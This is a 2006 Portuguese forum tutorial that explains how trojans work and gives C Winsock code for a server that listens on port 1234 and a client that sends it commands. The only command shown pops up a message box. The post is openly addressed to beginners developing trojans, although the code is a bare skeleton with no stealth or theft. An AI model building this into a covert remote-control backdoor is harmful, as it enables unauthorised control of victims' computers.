Lógica - Trojans em C

Started by Dark_Side, 29 de October , 2006, 03:11:25 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

Dark_Side

Hi,

Raramente eu recebo MP's. Quando ocorre, a maioria das mensagens é oriunda de usuários com dúvidas sobre como poderiam construir um trojan. Eu particularmente, tenho raiva e nojo de trojans, só pela sua natureza e a forma - que considero covarde - de como funcionam.Entretanto, crio este tópico para demonstrar o funcionamento básico desses lolz, bem como um exemplo para iluminar suas mentes, possibilitando assim, que possam brincar com o próprio esforço.

Basicamente, a conexão é feita entre um cliente e um servidor. O cliente seria aquele computador que possui um terminal com comandos pré-definidos, que ao serem enviados para o servidor, farão com que este último interprete-os e execute uma ou mais ações específicas.

O funcionamento básico pode ser entendido com o seguinte algorítimo:

1) Servidor -> aguarda conexão em uma determinada porta;
2) Cliente -> Conecta ao servidor;
3) Cliente -> envia um determinado comando;
4) Servidor -> verifica o comando recebido -> executa determinadas instruções.

Utilizaremos a linguagem C para colocarmos o algorítimo em uso. É importante que se tenha um conhecimento ao menos básico em sockets.

1) Servidor -> aguarda conexão em uma determinada porta;

Vamos criar um socket e configurá-lo para aguardar conexões.

#include <winsock.h>

WSADATA wsadata;
SOCKET sock;
struct sockaddr_in addr;

int main(){

   if(WSAStartup(0x101,&wsadata)==SOCKET_ERROR) // Tenta inicializar Winsock
     return 1;
 
   if((sock = socket(AF_INET,SOCK_STREAM,0))==SOCKET_ERROR) // Tenta criar socket
      return 1;
   
    // Configura socket
    addr.sin_family=AF_INET;
    addr.sin_port=htons(1234);  //Aguardar na porta 1234

   if(bind(sock,(SOCKADDR*)&addr,sizeof(addr))==SOCKET_ERROR) // Tenta configurar socket localmente
      return 1;

listen(sock,1); // Aguarda uma conexão
sock = accept(sock,0,0); // Aceita o primeiro pedido de conexão que for requisitado

return 0;
}

Muito bem, temos um socket que aguarda conexões na porta 1234.
       

2) Cliente -> Conecta ao servidor;

Criaremos agora o nosso cliente.

#include <winsock.h>

WSADATA wsadata;
SOCKET sock;
struct sockaddr_in addr;

int main(){

   if(WSAStartup(0x101,&wsadata)==SOCKET_ERROR) // Tenta inicializar Winsock
     return 1;
 
   if((sock = socket(AF_INET,SOCK_STREAM,0))==SOCKET_ERROR) // Tenta criar socket
      return 1;
   
    // Configura socket
    addr.sin_family = AF_INET;
    addr.sin_port = htons(1234);  //Aguardar na porta 1234
    addr.sin_addr.s_addr = inet_addr("127.0.0.1"); // IP do servidor
   if(connect(sock,(SOCKADDR*)&addr,sizeof(addr))==SOCKET_ERROR) // Tenta se conectar ao servidor
      return 1;


return 0;
}

Nota-se, pelo trecho acima, que o servidor possui o IP "127.0.0.1". Notamos ainda que a porta utilizada (1234) foi escolhida pois o servidor aguarda conexões justamente nesta porta.

3) Cliente -> envia um determinado comando;

Demonstrarei apenas um exemplo de um comando. A partir daqui, cientes da lógica, poderão implementar outros comandos.

char comando[] = "MSG_ERROR";
send(sock,comando,strlen(comando),0);


4) Servidor -> verifica o comando recebido -> executa determinadas instruções.

No código do servidor, poderíamos ter:
char comando[100];
recv(sock,comando,100,0);

if(strcmp(comando,"MSG_ERROR")==0)
  MessageBox(GetForegroundWindow(),"Aqui você coloca alguma mensagem lolz","Erro",0x10);


Muito bem, temos um programa cliente e um servidor. O cliente ao enviar "MSG_ERROR" para o servidor, fará com que seja mostrada uma mensagem definida. É importante notar que, no exemplo acima, a ação seria executada apenas uma vez, já que o programa receberia apenas os primeiros dados enviados pelo cliente. Pode-se, entretanto, fazer com que o servidor receba continuamente comandos enviados pelo cliente:

char comando[100];
int bytes = 1;
while(bytes > 0){
memset(comando,0,100); // Limpa buffer
recv(sock,comando,100,0); // Recebe o comando

if(strcmp(comando,"MSG_ERROR")==0)
  MessageBox(GetForegroundWindow(),"Aqui você coloca alguma mensagem lolz","Erro",0x10);

Dessa forma, enquanto o servidor estivesse recebendo dados, o que é indicado pela variável "bytes" - que deve ter o valor superior a ZERO - o programa servidor receberia os dados e interpretaria-os.

Segue o exemplo completo:

SERVIDOR.C

#include <winsock.h>

WSADATA wsadata;
SOCKET sock;
struct sockaddr_in addr;

int main(){

   if(WSAStartup(0x101,&wsadata)==SOCKET_ERROR) // Tenta inicializar Winsock
     return 1;
 
   if((sock = socket(AF_INET,SOCK_STREAM,0))==SOCKET_ERROR) // Tenta criar socket
      return 1;
   
    // Configura socket
    addr.sin_family=AF_INET;
    addr.sin_port=htons(1234);  //Aguardar na porta 1234

   if(bind(sock,(SOCKADDR*)&addr,sizeof(addr))==SOCKET_ERROR) // Tenta configurar socket localmente
      return 1;

listen(sock,1); // Aguarda uma conexão
sock = accept(sock,0,0); // Aceita o primeiro pedido de conexão que for requisitado

char comando[100];
int bytes = 1;
while(bytes > 0){ // Enquanto estiver recebendo dados
memset(comando,0,100); // Limpa o buffer
recv(sock,comando,100,0); // Recebe o comando

if(strcmp(comando,"MSG_ERROR")==0) // Verifica se o comando é MSG_ERROR

// Se afirmativo, mostra uma mensagem na tela.
  MessageBox(GetForegroundWindow(),"Aqui você coloca alguma mensagem lolz","Erro",0x10);
}
return 0;
}


Cliente.c

#include <winsock.h>
#include <stdlib.h> // system()

WSADATA wsadata;
SOCKET sock;
struct sockaddr_in addr;

int main(){

   if(WSAStartup(0x101,&wsadata)==SOCKET_ERROR) // Tenta inicializar Winsock
     return 1;
 
   if((sock = socket(AF_INET,SOCK_STREAM,0))==SOCKET_ERROR) // Tenta criar socket
      return 1;
   
    // Configura socket
    addr.sin_family = AF_INET;
    addr.sin_port = htons(1234);  //Aguardar na porta 1234
    addr.sin_addr.s_addr = inet_addr("127.0.0.1"); // IP do servidor
   if(connect(sock,(SOCKADDR*)&addr,sizeof(addr))==SOCKET_ERROR) // Tenta se conectar ao servidor
      return 1;

char comando[] = "MSG_ERROR"; // Define o comando a ser enviado
envia_comando: // Ponto de partida para enviar o comando
system("cls");    // Limpa a tela         
printf("Pressione qualquer tecla para enviar o comando: MSG_ERROR.");
system("pause > nul"); // Espera que uma tecla seja pressionada
send(sock,comando,strlen(comando),0); // Envia o comando
goto envia_comando; // Volta ao início

return 0;
}

Bem, basicamente seria isso. Este breve artigo é dedicado principalmente aos iniciantes ou usuários que estejam com certas dificuldades no deselvolvimento de trojans. Espero que tenha ajudado ;)
Lolz, vale lembrar que odeio trojans =X
Bye.